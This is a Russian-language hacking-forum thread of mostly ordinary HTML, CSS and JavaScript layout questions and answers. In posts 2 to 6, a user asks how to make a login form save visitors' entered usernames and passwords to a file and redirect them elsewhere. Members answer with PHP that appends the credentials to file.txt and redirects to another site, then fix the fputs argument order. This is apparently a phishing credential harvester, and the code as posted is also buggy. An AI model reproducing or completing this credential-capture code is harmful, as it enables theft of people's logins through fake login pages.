[HTML, Css] - Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 28 Jun 2007.

Thread Status:
Not open for further replies.
  1. yuyushin

    yuyushin Member

    Joined:
    31 Jul 2009
    Messages:
    18
    Likes Received:
    23
    Reputations:
    -5
    Вот на всякий случай тоже самое, только на JS:
    Code:
    <script language="javascript" type="text/javascript">
    function vertical(text)
    	{
    	for(i=0;i<text.length;i++)
    		{document.write(text[i]+"<br>")}
    }
    	var txt="forum.antichat.ru"
    vertical(txt)
    </script>
    Но по-моему имелось ввиду, что текст должен быть повёрнут на 90°
     
    #1401 yuyushin, 11 Apr 2010
    Last edited: 12 Apr 2010
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Подскажите, есть код
    Как сделать что бы введённые данные логин и пасс писались в файл а юзера перебрасывало на другую страницу?
     
  3. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    заменить form action на свой, например login.php
    PHP:
    <form method="post" name="login" id="login" action="login.php" onSubmit="return CheckForm(this);">
    создать в этой же директории файл login.php и прописать в него:
    PHP:
    <?php
    $login 
    $_POST['login'];
    $pass $_POST ['passwd'];

    if (isset (
    $_POST['login']) && isset ($_POST['pass']))
    {
    $file file ('file.txt');
    $fh fopen ($file,'a+');
    fputs ($file,"$login:$passwd");
    fclose($fh);
    header('Location: http://site.com');
    ?>
     
    #1403 h00lyshit!, 23 Apr 2010
    Last edited: 25 Apr 2010
    1 person likes this.
  4. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Redwood
    <?php
    $login = $_POST['login'];
    $pass = $_POST ['passwd'];

    if (isset ($_POST['login']) && isset ($_POST['pass']))
    {
    $file = file ('file.txt');
    $fh = fopen ($file,'a+');
    fputs ("$login:$passwd",$file);
    fclose($fh);
    header('Location: http://site.com');
    }
    ?>

    в файл ничего не заносится :(
     
    #1404 stepashka_, 23 Apr 2010
    Last edited: 23 Apr 2010
  5. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Сделал так
     
  6. XPYMGT

    XPYMGT New Member

    Joined:
    11 Apr 2009
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    Порядок аргументов функции перепутан fputs($handle, $string)
     
  7. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    Приветствую
    есть извечный вопрос.
    есть <div> вокруг только body
    как его разместить точно по центру экрана?

    Заранее спасибо.
     
  8. z-kzn-z

    z-kzn-z New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    попробуй тaк: зaдaй eму ширину и высоту, и margin: auto;
    протeстировaть, к сожaлeнию, нe могу, т.к. нe домa..
     
  9. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    это я пробовал.
    нужно ещё как то body растянуть на весь экран.
    100% ная высота не катит почему то
     
  10. z-kzn-z

    z-kzn-z New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    Можно попробовать растянуть таблицу на всю ширину, сделать в ней единственный td (опять же на весь экран), и внутри размещать див.
    Хотя, я тут подумал, если размеры дива фиксированные, то можно как-то так...
    position: absolute;
    width: 200px;
    height: 200px;
    left: 50%;
    top: 50%;
    margin: -100px 0 0 -100px;
    по идее должно работать..

    P.S. Если где-то опечатался, не ругать, со смарта пишу)
    P.P.S протестировал, работает
     
    #1410 z-kzn-z, 25 Apr 2010
    Last edited: 25 Apr 2010
  11. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    PHP:
    <html>
    <
    head>
    </
    head>
    <
    body>
    <
    div id="our_div" style="margin-left:auto;margin-right:auto;height:100px;width:100px;position:relative;background:#f00;">
    Текст
    </div>
    <
    script>
    var 
    doc_height document.compatMode=='CSS1Compat' && !window.opera?document.documentElement.clientHeight:document.body.clientHeight;
    var 
    el=document.getElementById('our_div');
    el.style.top doc_height/Number(el.offsetWidth) +'px';
    </script>
    </body>
    </html>
    Получаем height рабочей области, перемещаем наш див по центру. Ну или сразу его рисуем там через document.write

    ps: разрывы строк в некоторых местах не забудь убрать
     
  12. XPYMGT

    XPYMGT New Member

    Joined:
    11 Apr 2009
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    Как херня называется чтобы под огненную лисицу для жаба разработчиков?
     
  13. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Greasemonkey
     
  14. oleksik

    oleksik New Member

    Joined:
    7 May 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    у меня вопрос по div в ie!

    <div style="position:absolute;height:100px;width:100px;top:10px;left:10px;background:blue;">

    <div style="position:absolute;height:100px;width:100px;top:0px;left:200px;background:red;">
    bla bla bla bla bla
    </div>

    </div>

    мне надо что б ie позволил выходить за рамки внутренему div относительно отцовского не обрезая его...
    в других бравзерах это работает и так но ие как всегда все через одно место...
     
  15. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    попробуй z-index внутреннего поставить больше, чем у родителя
    и исправь синтаксическую ошибку у родителя: у тебя "p x" вместо "px"
     
  16. oleksik

    oleksik New Member

    Joined:
    7 May 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    пробувал не работает и overflow:visible; тоже...
    может у кого есть ещё какието идеи?
     
  17. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    oleksik, у тебя в таком случае эти дивы вообще в разных местах будут :)
    left:10px и left:200px
    При абсолютном позиционировании от края страницы считается left.
    Если так и нужно - то зачем вкладывать один див в другой? Делаешь 2 отдельных, у одного left:10, у другого 200. Если тебе нужен див в диве, то тебе подойдёт вот такая конструкция
    Code:
    <div style="position:absolute;height:200px;width:200px;top:10px;left:10px;background:blue;">
    <div style="position:absolute;height:100px;width:100px;top:10px;left:150px;background:red;">
    bla bla bla bla bla
    </div>
    </div>
    
    Зачем при абсолютной позиции использовать overflow? Максимум, что может понадобиться - это z-index
     
  18. oleksik

    oleksik New Member

    Joined:
    7 May 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    спс

    спс. FindeR но мне надо именно див в диве и что б была возможность выходить за поля..... мож. ещё какието идеи для ие?
     
  19. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    Так вариант выше чем не катит? В ИЕ не работает? Если да - то в каком тестил?
     
  20. oleksik

    oleksik New Member

    Joined:
    7 May 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    спс.FindeR ошыбка оказалась в другом....
     
Thread Status:
Not open for further replies.